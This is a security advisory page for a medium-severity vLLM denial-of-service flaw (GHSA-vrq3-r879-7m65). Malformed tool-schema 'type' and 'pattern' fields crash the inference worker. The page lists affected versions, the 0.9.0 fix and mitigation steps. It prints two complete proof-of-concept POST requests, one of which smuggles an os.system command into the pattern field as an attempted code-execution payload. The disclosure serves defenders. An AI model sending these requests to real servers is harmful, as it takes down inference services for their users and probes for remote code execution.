vLLM Tool Schema allows DoS via Malformed pattern and type FieldsGHSA-vrq3-r879-7m65
MEDIUMFix: vllm-project/vllm#17623GHSA-vrq3-r879-7m65 is a medium-severity (CVSS 6.5) Improper Input Validation vulnerability in vllm. A fix is available for vllm — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-vrq3-r879-7m65.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
vllmReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted.
Details
The "type" field is expected to be one of: "string", "number", "object", "boolean", "array", or "null". Supplying any other value will cause the worker to crash with the following error:
RuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type "something_or_nothing"
The "pattern" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.
For example, the following inputs will crash the worker:
Unclosed {, [, or (
Closed:{} and []
Here are some of runtime errors on the crash depending on what gets injected:
RuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed. RuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count. RuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.
PoC
Here is the POST request using the type field to crash the worker. Note the type field is set to "something" rather than the expected types it is looking for: POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 579 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive
{ "model": "mistral-nemo-instruct", "messages": [{ "role": "user", "content": "crash via type" }], "tools": [ { "type": "function", "function": { "name": "crash01", "parameters": { "type": "object", "properties": { "a": { "type": "something" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash01", "arguments": { "a": "test" } } }, "stream": false, "max_tokens": 1 }
Here is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.
POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 718 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive
{ "model": "mistral-nemo-instruct", "messages": [ { "role": "user", "content": "Crash via Pattern" } ], "tools": [ { "type": "function", "function": { "name": "crash02", "parameters": { "type": "object", "properties": { "a": { "type": "string", "pattern": "{{ import('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash02" } }, "stream": false, "max_tokens": 32, "temperature": 0.2, "top_p": 1, "n": 1 }
Impact
Backend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests.
Fix
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | vllm | ≥ 0.8.0&&< 0.9.0 | 0.9.0pip install --upgrade 'vllm==0.9.0' |
Affected Products
vllmvllmDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vllm to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vrq3-r879-7m65 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
The severity of this vulnerability is rated Moderate, as it does not impact system availability. The effects are confined to the application layer, without compromising the underlying system stability.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for GHSA-vrq3-r879-7m65 (CC BY 4.0)
Frequently Asked Questions
Is GHSA-vrq3-r879-7m65 in your dependencies?
Find it across PyPI, including transitive dependencies.